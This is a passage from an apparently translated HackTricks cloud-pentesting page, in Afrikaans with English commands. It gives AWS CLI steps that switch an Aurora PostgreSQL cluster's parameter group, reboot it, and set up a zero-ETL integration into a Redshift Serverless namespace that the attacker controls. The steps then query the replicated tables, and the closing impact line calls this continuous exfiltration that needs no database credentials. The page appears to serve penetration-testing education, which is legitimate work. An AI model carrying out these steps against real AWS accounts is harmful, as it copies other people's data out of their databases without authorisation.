aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--db-cluster-parameter-group-name apg16-ztl-zerodg --apply-immediately
aws rds reboot-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID --query 'DBClusters[0].DBClusterArn' --output text)
```
</details>

<details>
<summary>4) Skep die zero‑ETL integrasie vanaf RDS</summary>
```bash
# Include all tables in the default 'postgres' database
aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
--target-arn "$RS_NS_ARN" --integration-name ztl-demo \
--data-filter 'include: postgres.*.*'
# Redshift inbound integration should become ACTIVE
aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS_ARN"
```
</details>

<details>
<summary>5) Materialiseer en haal gerepliseerde data op in Redshift</summary>
```bash
# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
--sql "select integration_id from svv_integration"  # take the GUID value
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
--sql "create database ztl_db from integration '<integration_id>' database postgres"
# List tables replicated
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database ztl_db \
--sql "select table_schema,table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') order by 1,2 limit 20;"
```
</details>

Bewyse waargeneem tydens die toets:
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
- SVV_INTEGRATION showed integration_id 377a462b-c42c-4f08-937b-77fe75d98211 and state PendingDbConnectState prior to DB creation.
- After CREATE DATABASE FROM INTEGRATION, listing tables revealed schema ztl and table customers; selecting from ztl.customers returned 2 rows (Alice, Bob).

Impak: Voortdurende, byna regstreekse exfiltration van geselekteerde Aurora PostgreSQL tabelle na Redshift Serverless, beheer deur die attacker, sonder om database credentials, backups, of network access tot die source cluster te gebruik.


{{#include ../../../../banners/hacktricks-training.md}}
